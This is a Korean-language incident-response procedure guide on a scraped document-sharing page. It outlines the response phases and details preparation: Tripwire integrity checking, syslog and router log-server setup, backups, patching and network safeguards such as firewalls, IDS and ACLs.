<C4A7C7D8BBE7B0EDB4EBC0C0C0FDC2F72E687770>

Similar documents
ħÇØ»ç°í¹æÁö±â¼ú°³¹ß

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

[03] 로그관련명령어 # lastlog /var/log/lastlog 파일의내용을보여주는명령어 /etc/passwd 파일에선언되어있는게정중로그인이되는계정만접근한흔적이남아야한다. 사용자명 포트 ~ 로부터 최근정보 root pts/ 금 10월

2-11Àå

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

포렌식특강발표자료

Windows 8에서 BioStar 1 설치하기

PowerPoint 프레젠테이션

운영체제실습_명령어

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

untitled

Microsoft PowerPoint - comp_prac_081223_2.pptx

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

사용자계정관리 1. 사용자계정관리 사용자 (user), 그룹 (group) u 다중사용자시스템 (Multi-User System) - 1 대의시스템을동시에여러사람이접속하여쓸수있게하는시스템 u 사용자 (user) - 시스템관리자 : root (=Super user) -

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap01-C언어개요.pptx

3) MySQL data 백업백업방법 : dump 파일로저장저장위치 : /backup/mysqldump 백업주기 : 시간별 (/etc/cron.hourly) 또는일별 (/etc/cron.daily) 보관기간 : 7 일백업스크립트 : 아래예제 6-1). 참조 4) 웹데이

System Recovery 사용자 매뉴얼

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation


PowerPoint 프레젠테이션

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint 통신 및 압축 명령어.ppt

해킹 대응 경진대회

ㅇ악성코드 분석

리눅스 프로세스 관리

PowerPoint 프레젠테이션

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Discrete Mathematics

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

/chroot/lib/ /chroot/etc/

Windows 10 General Announcement v1.0-KO

*2008년1월호진짜

2008

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

문서 대제목

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조

Microsoft PowerPoint - 강연회자료_CERT_0612

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

작성자 : 기술지원부 김 삼 수

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

슬라이드 1

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

[ 컴퓨터시스템 ] 3 주차 1 차시. 디렉토리사이의이동 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수

ISP and CodeVisionAVR C Compiler.hwp

Adobe Flash 취약점 분석 (CVE )

RHEV 2.2 인증서 만료 확인 및 갱신

Microsoft Word - NAT_1_.doc

1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder

Chapter 05. 파일접근권한관리하기

Windows Server 2012

PowerPoint 프레젠테이션

Microsoft Word - src.doc

untitled

Linux OS, /var/log/ about 과제를시작하기에앞서로그가왜존재해야하는가에대해서잠깐언급하고시작하겠습니다. 우리일상생활에서도로그역할이반드시있어야할상황이있습니다. 예를들어사건현장에 CCTV( 폐쇄회로 ) 가없다면수사에많은어려움이따르지않을까하고생각해봅니다. 즉,

네이버블로그 :: 포스트내용 Print VMw are 에서 Linux 설치하기 (Centos 6.3, 리눅스 ) Linux 2013/02/23 22:52 /carrena/ VMware 에서 l

Microsoft PowerPoint - 5. 사용자 계정관리-1(2016-1학기).ppt [호환 모드]

Microsoft Word - release note-VRRP_Korean.doc

CD 무결성체크는 SKIP 을해도좋습니다. Next 버튼을누릅니다. Next 버튼을누릅니다.

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Install stm32cubemx and st-link utility

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

YUM(Yellowdog Updater,Modified) : RPM 패키지가저장된서버 ( 저장소 ) 로부터원하는패키지를자동으로설치한다. : YUM 도구는 RPM 의패키지의존성문제를해결

Microsoft PowerPoint - ch13.ppt

리눅스보안관리.PDF

UDP Flooding Attack 공격과 방어

<4D F736F F F696E74202D206D61696E D F6E D20C7D8C5B720BDC3BDBAC5DB20C0FCC1A620C1B6B0C7202D20B3D7C6AEBFF6C5A920C0CEC5CDC6E4C0CCBDBA20C4ABB5E520BCB3C1A4>

Cloud Friendly System Architecture

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Splentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: E-M

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - postfix) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i postfix spf-filter 년 6 월

망고100 보드로 놀아보자-4

Mango220 Android How to compile and Transfer image to Target

6주차.key

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Remote UI Guide

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

다음 사항을 꼭 확인하세요! 도움말 안내 - 본 도움말에는 iodd2511 조작방법 및 활용법이 적혀 있습니다. - 본 제품 사용 전에 안전을 위한 주의사항 을 반드시 숙지하십시오. - 문제가 발생하면 문제해결 을 참조하십시오. 중요한 Data 는 항상 백업 하십시오.

6. 설치가시작되는동안 USB 드라이버가자동으로로드됩니다. USB 드라이버가성공적으로로드되면 Setup is starting( 설치가시작되는중 )... 화면이표시됩니다. 7. 화면지침에따라 Windows 7 설치를완료합니다. 방법 2: 수정된 Windows 7 ISO

bn2019_2

PowerPoint 프레젠테이션

DBMS & SQL Server Installation Database Laboratory

INDEX 1. 개요 데이터백업스크립트작성 crontab 을이용한자동백업예약 활용 - 다른서버에백업하기

<3032B0AD202D20B8AEB4AABDBA20BCB3C4A12D556E6978C0CEC5CDB3DDBAB8C3E6C7D0BDC02E687770>

- 2-2) ssh, rsh 포트를사용하는경우 inetd 나 xinetd 를수정하지않아도되고, /etc/rsyncd.conf 를만들어주지않아도됩니다 B. rsync 실행 rsync 서버설정이된것 : webserver1(www1.linuxone.co.kr) 라고하고, 그

[Brochure] KOR_TunA

<4D F736F F F696E74202D C61645FB3EDB8AEC7D5BCBA20B9D720C5F8BBE7BFEBB9FD2E BC8A3C8AF20B8F0B5E55D>

LXR 설치 및 사용법.doc

경우 1) 80GB( 원본 ) => 2TB( 복사본 ), 원본 80GB 는 MBR 로디스크초기화하고 NTFS 로포맷한경우 복사본 HDD 도 MBR 로디스크초기화되고 80GB 만큼포맷되고나머지영역 (80GB~ 나머지부분 ) 은할당되지않음 으로나온다. A. Window P

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Transcription:

침해사고대응절차

서론 본문서는침해사고대응방법을위한체계적인방법을제시함으로써침해사고에대한피해최소화와재발방지를위하여작성되었다. 이문서에서는침해사고대응방법을크게사전준비단계와침입대응단계로구분하여기술하고있다. 사전준비단계에서는침해사고의예방과사고대응에필요한자료를확보하기위한방법을설명하였고침입대응단계에서는조사와복구과정에서준수해야할원칙과절차를설명하여미숙한대응으로인한증거물의손실및피해확산, 사고재발등의위험을줄일수있도록하였다. 본문서에서는침해사고대응방법을 11 개단계로나누었으며개략적인내용은아래와같다. 준비단계 준비단계에서는침해사고를예방하기위하여시스템설정을점검하고보안장비를설치하는것은물론사고발생을감지하기위한무결성검사프로그램을설치하여야한다. 또한사고대응에중요한자료인로그를안전하게보관할수있도록하는것을비롯해서사고대응팀을구성하고구성원의역할과대응절차를사전에수립하여피해를줄일수있도록하여야한다. 침해사고탐지단계 침입차단시스템, 침입탐지, 사용자, 관리자등으로부터이상징후를감지하면체크리스트를작성하여대응팀에보고하며증거물보존에신중을기하여야한다. 초기대응 침입인지단순한장애인지를결정하여야하는단계로서사고대응팀이소집또는구성되어야한다. 초기대응에서가장중요한것은사고의완전한분석이아니라사고의확산을방지하고차단하는조치를하는것이고추후의정밀조사를위한휘발성자료등을수집하는것이다. 대응전략결정단계 초기대응에서얻어진정보를토대로대응절차와규모를정하는것으로사고를내부에서처리할것인지수사기관의협조를구할것인지등조직의피해비용을고려하여가장적합한대응전략을결정하는단계이다. 정밀조사를위한자료이중화단계 정밀한조사를위하여하드디스크의완전한복제와네트웍차원의정보를수집하는것으로

추후법적인증거자료로서의활용을고려하여야한다. 조사단계 6하원칙에기인하여언제누구에의해어떤자료가누출, 훼손, 되었는지를조사하고복구할수있는방법에대한자료를수집하는단계이다. 보안조치수행단계 조사단계에서수집된결과를토대로기존의보안상의문제점을평가하고향후사고의재발을방지하기위한작업을하는단계이다. 네트워크모니터링단계 보안조치수행단계이후해당조치의적절성을평가하기위하여상당기간동일서브넷을모니터링하는것이며있을지도모르는추후공격자의접속으로추가증거를확보하는것을포함한다. 복구 악성프로그램을제거하고지워진프로그램을복구하는등의작업을통해침해당한시스템과네트웍을정상적인상태로되돌리는과정이다. 침해사고의유형및조직의특성을고려하여일단원상태로복구하고이후에사고원인을조사하기도한다. 보고 사고대응의모든단계에서문서화가이루어져야하며문서화를제대로하지않을경우잘못된결과와부적절한대응으로이어질수도있다. 후속조치 사고대응과정에서발생된문제들에대한검토회의를통하여필요사항을실무에반영하는과정이다.

< 목차 > 1. 준비단계 1 1.1 침해사고분석및복구를위한정보수집 1 1.2 침해사고예방을위한보안조치 7 1.3 침해사고대응프로세스를준비 12 2. 침해사고탐지단계 17 3. 초기대응 20 3.1 초기대응방법 20 3.2 공개포렌식툴을이용한초기대응 23 4. 대응전략결정단계 25 4.1 적절한대응전략을결정하기 25 4.2 선택할수있는대응전략들을뽑아의사결정권자의허가를받기 26 5. 정밀조사를위한자료이중화단계 28 5.1 분석시스템준비 29 5.2 디스크이미지복사 29 6. 조사단계 32 6.1 로그및 Articast 분석 32 6.2 시스템파일분석 46 6.3 시스템상태분석 ( 휘발성정보분석 ) 50 6.4 공개도구를이용한분석 53 6.5 공격도구분석방법및자주발견되는공격도구들 59 6.6 라우터 자체 에공격이의심되는경우의조사 61 7. 보안조치수행단계 63 8. 네트워크모니터링단계 64 8.1 스니퍼사용 64 8.2 프로토콜별모니터링 66 8.3 비밀채널모니터링 67 9. 복구 69 10. 보고 70 11. 후속조치 71

1. 준비단계 가장좋은침해사고대응방법은침해사고를당하지않는것이다. 하지만현실세계에서 100% 보안을장담할수는없다. 따라서침해사고발생후신속 정확한조치를할수있는능력을키워야하며, 이러한능력은얼마나충실히사전준비를했는가에따라결정된다. 사전준비가충실하지않은경우에는침해사고대응또한어렵고많은시간이소요될수밖에없다. 사전준비란다음질문에대해신속하게답할수있는준비를하는것이다. - 무엇이발생했는가? - 침해사고에영향을받은시스템 / 네트워크는무엇인가? - 어떤정보가손상됐는가? - 무슨파일이생성, 수정, 복사, 삭제되었는가? - 사고의원인은누구인가? - 누구에게통보해야하는가? - 어떤방법으로신속하게복구할것인가? 준비단계에서해야할일은다음과같다. o 침해사고분석및복구를위해필요한모든정보및자료수집 - 무결성점검 - 로그설정및로그서버운영 - 백업 o 침해사고예방을위한보안조치 - 시스템보안 - 네트워크보안 - 보안정책및사용자교육 o 침해사고대응프로세스를준비 - 분석장비준비 - 사고대응팀구성 1.1 침해사고분석및복구를위한정보수집 각각의시스템에대한보안은침해사고예방을위한기본이다. 네트워크보안이나정책을아무리잘세웠다고해도시스템보안에충실하지않으면대문은단속하고안방문은열어놓은것이된다.

각각의시스템에대해서신속한대응및복구를위해서다음과같은사항을준비해야한다. - 중요한파일에대한무결성점검 - 보안점검로그생성 - 시스템보안대책마련 - 백업 - 사용자교육 1.1.1 무결성점검 공격자가시스템침입에성공하면다음번침입을쉽게하기위해루트킷 (rootkit) 이나트로이잔목마 (trojan horse) 프로그램을설치하는경우가대부분이다. 따라서원래파일의무결성을체크할수있는프로그램이필요할것이고, 이를효율적으로해주는도구가바로 tripwire이다. tripwire는 MD5, SHA, CRC-32등의다양한해쉬함수를제공하고, 파일들에대한데이터베이스를만들어이를통해해커들에의한파일들의변조여부를판별하므로관리자들이유용하게사용할수있다. tripwire 를 rpm 으로설치할경우설치과정은크게다음의 4 단계로볼수있다. 1. tripwire 설정파일 정책파일생성하기 (twinstall.sh) 2. 데이터베이스초기화 (tripwire --init) 3. 무결성검사 (tripwire --check) 4. 데이터베이스갱신 (tripwire --update) #./twinstall.sh twinstall.sh를실행시키면 tripwire는 site keyfile과 local keyfile을생성하기위한 Passphrases를입력하도록한다. site keyfile은정책파일과환경파일을설정하는데사용되고, local keyfile은 tripwire 데이터베이스와레포트파일을초기화하고보호하는데사용되는일종의암호의일종이다. (passphrases는최소 8자이상의문자열이어야한다.) 다음의명령어를실행하여데이터베이스를초기화한다. (/usr/sbin 에서 ) #./tripwire --init 다음의명령으로시스템에있는파일들에대한무결성을검사할수있다.

#./tripwire --check 무결성검사후발견되어진변경파일중침입에의한것이아니라정상적인변화라면기존에만들어져있던데이터베이스를갱신하여야한다. #./tripwire --update 또는./tripwire -m u 정책파일을갱신하는방법에는 tripwire --update-police과 twadmin --creat-polfile 두가지가있다. #./tripwire --update-police 또는./tripwire -m p /etc/tripwire/policy.txt tripwire --update-police mode는이전의 rule과비교하여새로운 rule에대한정보를업데이트하는것이므로데이터베이스를재초기화하지않아도된다. #./twadmin --creat-polfile #./twadmin --creat-polfile mypol.txt ( 여기서mypol.txt는새로운정책파일의이름이다.) twadmin --creat-polfile mode는새로운정책파일을만드는명령으로이를위해서는데이터베이스의재초기화가필요하다. tripwire의설치와운영에대한보다자세한정보는다음문서를참조하기바란다. 참고자료 : http://www.tripwire.org 1.1.2 log 종류및설정 UNIX 시스템에서는커널과각종응용프로그램에서많은종류의로그를남기고있다. 사고분석자는이러한로그파일을면밀히분석함으로써공격자가남기고간다양한침입흔적을찾아낼수있다. 이정보는공격자를추적하는데사용할수도있고, 향후시스템보안을강화하는데 feed back 될수도있기때문에가능하면많은정보를로그로안전하게남기는것이침해사고대응의기본이라고할수있다. 로그파일은독립적으로분석하는것이아니라, 서로유기적인관계를가지고추리하면서분석해야보다효과적이며공격자는마음만먹으면언제든지자신의침입흔적을지우고나갈수있으므로로그데이터는따로보관하는것이필요하다. 로그데이터를보호하기위해서일반적으로다음과같은방법이사용될수있다 - 로그수집용으로사용되는별도의호스트에로그데이터를저장한다. 이로그호스트는네트워크를통해불법적인접근이불가능하도록충분히안전하여야한다.

- 한번쓰여진데이터가수정될수없는장치에기록한다. CD-ROM, TAPE, Print 등이이러한장치로사용될수있다. - 로그파일속성을새로운정보를추가할수는있지만기존에있는정보를수정할수없도록설정한다. - 로그파일을암호화한다. 가장일반적인로그보호수단은네트워크를통해서안전한로그서버에로그를저장하는것이다. o 로그서버구축절차 - CISCO 라우터, Solaris, Linux에서발생한로그를로그서버로보내도록설정한다. - 네트워크를통해로그를수집할수있도록로그서버를설정한다. - 로그서버에 logcheck 패키지를설치한다. - 주기적으로로그를검사하여공격이나보안위배사항발생시관리자에게통보한다. syslogd는다양한시스템로그들을기록하고관리하기위한집중하된유틸리티이다. 시스템루틴이나사용자프로그램들은로그메시지를처리하기위해서 syslog 장치에전달된다. syslog는어떤종류의로그를어떻게처리할것인지를결정하기위해서환경설정파일인 syslog.conf 파일을읽는다. syslog.conf파일의각라인은 slelector 와 action 으로구성된다. - Selector : 어떤종류의메시지를기록할것인지를결정 - Action : 이메시지에대해무엇을해야하는지를결정

ident "@(#)syslog.conf 1.5 99/02/03 SMI" /* SunOS 5.0 */ # # Copyright (c) 1991-1999 by Sun Microsystems, Inc. # All rights reserved. # # syslog configuration file. # # This file is processed by m4 so be careful to quote (`') names # that match m4 reserved words. Also, within ifdef's, arguments # containing commas must be quoted. # *.err;kern.notice;auth.notice /dev/sysmsg *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages *.alert;kern.err;daemon.err *.alert operator root *.emerg * # if a non-loghost machine chooses to have authentication messages # sent to the loghost machine, un-comment out the following line: #auth.notice ifdef(`loghost', /var/log/authlog, @loghost) mail.debug ifdef(`loghost', /var/log/syslog, @loghost) # # non-loghost machines will use the following lines to cause "user" # log messages to be logged locally. # ifdef(`loghost',, user.err /dev/sysmsg user.err /var/adm/messages user.alert `root, operator' user.emerg * )~ Selector 부문은다시 syslog 장치와우선순위로구분되는데점 (.) 으로구분한다. [ 표 2] syslog facility 이름 kern user mail lpr auth daemon news uucp local ~ local7 장치 kernel 정규적인사용자프로세스메일시스템라인프린트시스템사용자이름과패스워드를묻는인증시스템이나프로그램 (login, su, getty, ftpd 등 ) 다른시스템데몬들뉴스서브시스템 uucp 서브시스템사이트특수사용을위해예약 syslog 메시지는가장우선순위가높은 emerg에서가장순위가낮은 debug에이르는계층적인구조를가지고있다.

[ 표 3] syslog priority 우선순위 emerg alert crit err waming notice info debug 의미시스템충돌과같은비상상태로서주로모든사용자에게경보변조된시스템데이터베이스등과같은곧바로정정해야만하는상태하드웨어에러등과같은중대한상황일상적인에러경고에러는아니지만특수한방법으로다루어져야하는상황정보메세지프로그램들을디버깅할때사용되는메시지 syslog.conf에서정의된우선순위보다같거나높은모든메시지가기록된다. 즉, kern.warning일경우 kernel에서생성된 warning, err, crit, alert, emerg에해당하는메시지가로깅된다. syslog의로깅장치명이나우선순위는시스템의종류에따라서다소차이가있을수있으므로해당시스템에서 "man syslog.conf" 로확인한다. Selector에서어떤장치에의해어떤로그가선택될것인지결정되면이로그를어떻게처리할것인지를 Action 부분에서정의하게된다. 가능한 action은다음과같다. - 파일이나장치에기록 - 사용자에게메시지전달 - 모든사용자에게메시지전단 - 프로그램메시지로파이프 - 다른호스트의 syslogd에메시지전달 o Cisco 라우터로그서버설정 Router(config)# logging trap debugging : 로깅 priority 설정 Router(config)# logging facility kern : 로깅 facility 설정 Router(config)# logging source-interface FastEthernet0/0 : 로그소스 IP 설정 Router(config)# logging 10.10.10.1 : 로그서버설정 참고자료 : UNIX 로그분석을통한침입자추적및로그관리 :Part II, 정현철 (http://www.certcc.or.kr/paper/tr2001/tr2001-07/unix_log_analysis_ii.pdf) 1.1.3 백업 피해시스템분석에앞서가장먼저해야될일은데이터백업이다. 백업은보안에있어가장기본적인조치이다. 특히, 서비스의지속성이필요하여온라인으로분석해야만할경우,

그리고보안업체의전문가등제삼자가분석할경우에는필수적인조치이다. 왜냐하면, 피해시스템을분석하거나모니터링한다는것을공격자가알게되면시스템전체를삭제하는경우가있으며, 제삼자가분석할경우에는이에대한책임을져야할수도있기때문이다. UNIX 백업툴에는 dump, cpio, tar, dd 등이있다. 각각의백업툴은모두장단점이있으므로상황에맞게적절히사용해야한다. 하지만반드시백업자료는해당시스템이아닌독립적인미디어 ( 백업장비, DAT, Tape 등 ) 에저장하여안전한장소에보관해야한다. o tar 명령어사용법 테이프아카이브를만들거나복원하며디렉토리구조를유지하면서하나또는여러개의파일을백업하는데사용한다. # tar cvf /dev/rmt/0n /export/home/user1 --> /dev/rmt/0 테이프에 /export/home/user1의테이프아카이브를만든다. # tar tvf /dev/rmt/0n ---> /dev/rmt/0의목차를표시한다. # tar xvf /dev/rmt/0n ---> /dev/rmt/0에서데이터를복원한다. o ufsdump 명령어사용법 파일시스템, 파일또는디렉토리를백업하는데사용하며전체백업이나증분백업을수행할수있다. # ufsdump 0ucf /dev/rmt/0 /export/home ---> /export/home 파일시스템을 /dev/rmt/0으로덤프하고전체백업을수행 o ufsrestore 명령어사용법 ufsdump 명령으로만들어진백업본에서파일을복구하거나추출하는데사용 # ufsrestore xvf /dev/rmt/0./etc/hosts ---> /etc/hosts 파일을현재디렉토리로복원 # ufsrestore ivf /dev/rmt/0 ---> 복원될파일을선택 # ufsrestore rvf /dev/rmt/0./opt ---> /opt 파일시스템을현재디렉토리로복원 # ufsrestore tvf /dev/rmt/0 ---> /dev/rmt/0의목차를표시 1.2 침해사고예방을위한보안조치 네트워크보안조치는침입사고대응의기초가된다. 네트워크장비들에서제공하는정보는대부분침해사고의중요한증거가되므로가능한모든장비들의로그는별도로구축된로그서버에저장 분석되어야한다.

또한네트워크보안조치는스크립트키드들에의한침입시도를대부분막아낼수있고, DDOS와같은네트워크공격에대비하기위해서도반드시필요하다. 침해사고분석을위해서는반드시네트워크구조를알고있어야하며한시스템이침해사고를당했을경우침해가능성이있는또다른시스템을확인하고, 침해시스템을네트워크에서고립시키기위해관리자는네트워크를재구성하고보안장비의설정을수정해야한다. 따라서사전에네트워크구조도를작성하여침해사고발생시이용할수있도록하여야한다. 1.2.1 시스템보안대책 모든시스템에보안지침을충실히따른다면많은침해사고를예방할수있다. 다음사항은기본적인시스템보안방안이다. - 가장최근버전을사용하고, 모든패치를적용하라. - 불필요한서비스를제거하라. - 시스템설정시신중하라. 일반적으로보안과성능은반비례한다. o 시스템설치 설치함과동시에보안조치를취하지않으면공격자의표적이되기십상이기에시스템의안전을위해설치시점에서부터보안을고려하여관리해야한다. 시스템을고립된네트워크에위치시키고잠재적인보안취약점을줄이면서최대의효과를보기위해최소한의패키지만을설치한다. 매뉴얼페이지와 HOWTO 문서를필히추가하도록한다매뉴얼과문서들은침해사고발생시매우중요한자료로활용된다. o 패치설치 설치후시스템이재시동되고나면패치를설치하고패치버전과일시를기록한다. - 레드햇리눅스패치사이트 http://www.redhat.com/support/errata/ - Solaris 패치사이트 http://sunsolve.sun.com/ - MS 패치사이트 - HP/Compaq 패치사이트 - IBM 패치사이트

o 불필요한서비스제거 시스템을보안위험으로부터보호하는데있어, 제일처음으로하는작업이바로불필요한서비스의제거하는것이다. 리눅스및 Solaris 시스템은디폴트로여러유용한서비스를설정하고실행하도록되어있다. 그러나이서비스들의대부분은필요하지않으며보안측면에서볼때, 잠재적인위험을지니고있다. 먼저 /etc/inetd.conf 파일을보자. 이화일에는디폴트로여러다양한서비스들이설정되어있으나대부분 ftp와 telnet만이필요하다. 다른불필요한서비스들은코멘트 (#) 로처리하여제거하도록한다. 다음은 init 프로세스에의해어떤서비스가시작될지결정하는.rc 스크립트들이다 rc 스크립트들은디폴트로설치되는것들이나시스템에서주요한기능은하지않는것들이다. 필요하지않다면시동되지않도록설정한다. o TCP Wrapper TCP Wrapper 는암호화는지원하지않지만로그와서버로의접근을제한하며모든접속시도를기록하고접속제어리스트에위배되는접속시도가있는지감시한다. TCP Wrapper는베너, spawn, safe_finger 과같은부가적인프로그램을제공하고 etc/hosts.allow 파일에접속을허용할 IP나네트워크를기록한다. /etc/hosts.deny 파일에접속을금지할 IP나네트워크를기록한다. 디폴트로리눅스는모두에게접속을허용하므로이파일을수정할필요가있다. 참고자료 : TCP-Wrapper 분석보고서 (http://www.certcc.or.kr/tools/tcp-wrapper.html) 1.2.2 계정관리보안조치사항 우선 admin 그룹을만든다. admin 그룹은 /bin/su 와같은명령어를실행시킬수있는특별한권한을필요로하는사용자들로이루어진그룹이다. 이런종류의명령어를실행시킬수있는사용자들을제한함으로써시스템의보안성을향상시킬수있다. 그리고 /bin/su 와같은시스템실행파일을구별해 group 소유권을 admin으로바꾸어소유자와그룹에실행권한만을준다. 특정파일의경우 suid와 guid에대해서도주의한다 1.2.3 네트워크보안조치는아래의사항을만족해야한다. o 계층적인보안시스템구축 모든보안문제를보안제품만으로해결하는것은잘못된생각이다. 최근의인터넷공격은매우광범위하고다양한매체를동원하기때문에이에대응하기위해서는보다더많은시간

과고민을필요로한다. 일반실세계의보안에서겹겹이보안대책을마련하는것과마찬가지고네트워크보안에서도보안사고를탐지하기위해서계층적이며중복되는다수의보안수단을동원하는방법을필요로한다. o 접근제어 접근제어에서가장중요한사항은호스트또는서비스에접근하는클라이언트의범위와그수를최대한줄이는것이다. 또한거부되는접근에대하여로그를기록하여주기적으로이를조사하여잠재적인보안침해를탐지하고예방하여야한다. o 어플리케이션보안 현재대부분의보안문제는수많은어플리케이션에서발견되는취약점에서비롯되고있다. 이러한취약점을조기에발견하고조치할수있도록보안관련사이트와제조업체사이트를주기적으로모니터링하여야한다. 특히, HTTP, Mail, DNS와같이오픈채널을이용하는취약점에대해서는더욱세심한관리가요구된다. o 감사 주기적으로원격에서시스템및네트워크의취약점을스캔을통해공격자입장에서보안을점검한다. o 데이터의기밀성 대부분의공격자들은전세계의수많은시스템에접근하여패킷스니퍼등을설치하고로그인 ID와 Password를유출하고계속적으로다른시스템으로그공격을이어간다. ssh, sftp, SSL, kerboros, VPN등의암호어플리케이션을사용하여이러한위협을제거할수있다. o 네트워크가용성 누구나 DoS 공격을할수있는지금, 네트워크가용성의문제는아주중요하다. 이를위해서는먼저시스템단위의기본보안대책이이루어져야한다. 현재많은운영체제에서 DoS 공격을완화하기위한수단이제공되고있으며, 네트워크차원에서는서로다른서비스를서로다른시스템에서제공하는것이 DoS공격의피해를완화시키는좋은방법이다. 대규모네트워크에서는네트워크세그먼트를분리하여하나이상의회선을사용하고, 중요한사이트의경우백업사이트구축을통한이중화및분산화를통해만일의사태에대비하는것이좋다. o 악성프로그램

바이러스, 웜, 트로이잔목마등과같은악성프로그램은현재인터넷의가장큰위협요소이다. 현재의 anti-virus 기술은알려진바이러스에대한탐지만가능하므로새로운바이러스에대한대응은쉽지않다. 하지만항상백신제품을최신버전으로유지하고, 신뢰받지못한사이트에서다운로드를제한하는등가이드라인을제시해야한다. 1.2.4 네트워크보안장비 o 침입차단시스템 (FireWall) 침입차단시스템은네트웍게이트웨이서버에위치하고있는일련의연관된프로그램들로서, 다른네트웍의사용자들로부터사설네트웍의자원들을보호해준다. 침입차단시스템은외부인이자신의공개되지않은자원에접근하는것을막고, 자기회사의직원들이접속해야할외부의자원들을통제하기위해기업의인트라넷과인터넷사이에설치된다. 기본적으로침입차단시스템은모든네트웍패킷들을그들의수신처로전달할것인지를결정하기위해검사하고, 여과한다. 또한요즘의침입차단시스템은워크스테이션사용자대신네트웍에요청을해주는프록시서버의기능을아예포함하거나또는함께상호협력하여동작하고있다. o 침입탐지시스템 (IDS) 네트워크침입탐지시스템은트래픽에서공격패턴을찾는방법을이용한다. 이러한방법은백신과마찬가지로이미알려진공격만을탐지할수있다. 하지만대부분의공격이알려진패턴을사용하므로보안을위해필요하다고할수있다. 100% 완벽한보안은없다. 다만침입사고의가능성을줄이는것이다. o 라우터 Access List Access List는침입차단시스템과같이패킷필터링기능을제공하는것으로트래픽제어와보안기능을목적으로한다. Access List는패킷의처리항목에따라 - Standard access list : 패킷의 Source Address를이용한접근통제 - Extended access list : 패킷의 Source / Destination Address, Destination Port, 특정 Protocol을이용한접근통제 Access List는보안을어느정도구현할수있고, 불필요한트래픽을차단할수있는장점이있지만모든패킷를점검한후전달하므로라우터의 CPU에상당한무리를주므로가능하면간단한조건을주는것이바람직하다.

